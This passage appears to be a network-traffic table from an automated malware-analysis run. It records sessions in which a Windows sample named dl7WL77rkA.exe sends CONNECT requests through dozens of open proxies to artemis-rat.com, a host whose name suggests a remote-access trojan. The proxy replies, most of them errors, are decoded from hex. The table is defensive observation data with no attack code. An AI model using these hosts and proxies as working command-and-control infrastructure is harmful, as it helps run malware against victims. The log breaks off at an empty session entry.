424	192.168.2.5	51132	93.190.141.102	14888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.232759953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.532363892 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.5	51118	8.213.128.90	808	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.237684011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.548166990 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.5	50291	72.195.34.42	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.242158890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.5	51175	174.64.199.79	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.243036032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.5	51173	98.162.25.23	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.243760109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.5	51099	157.25.92.74	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.250482082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.595185995 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 30 32 3a 33 30 3a 33 39 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 02:30:39 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.5	51312	104.20.22.93	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.256057024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.420612097 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.5	50279	51.89.173.40	17982	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.261322021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.405019999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.505913019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.599607944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.713933945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.5	51515	43.153.174.106	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.262609959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.5	51000	5.32.88.130	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.265412092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.765400887 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.5	51104	125.122.26.242	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.265755892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.5	51342	185.162.229.112	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.278140068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.432765007 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.5	51170	46.17.63.166	4154	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.278719902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.592856884 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.5	51090	103.118.47.252	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.279439926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.633270025 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.5	51184	139.162.238.184	29870	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.280172110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.920423985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.795486927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.635662079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.124744892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.5	51323	146.190.35.63	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.281558990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.764195919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.999608994 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.5	51366	104.25.234.81	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.282119989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.436424017 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.5	51131	45.11.95.165	5025	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.285234928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.868361950 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.5	51248	190.120.249.149	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.287277937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.5	51137	182.61.38.114	82	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.291712046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.995987892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.320103884 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.5	51152	185.38.111.1	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.294555902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.616302967 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Length: 0
Mar 11, 2024 03:30:39.953599930 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.5	51219	5.135.83.214	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.336535931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.657602072 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.5	51209	58.234.116.197	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
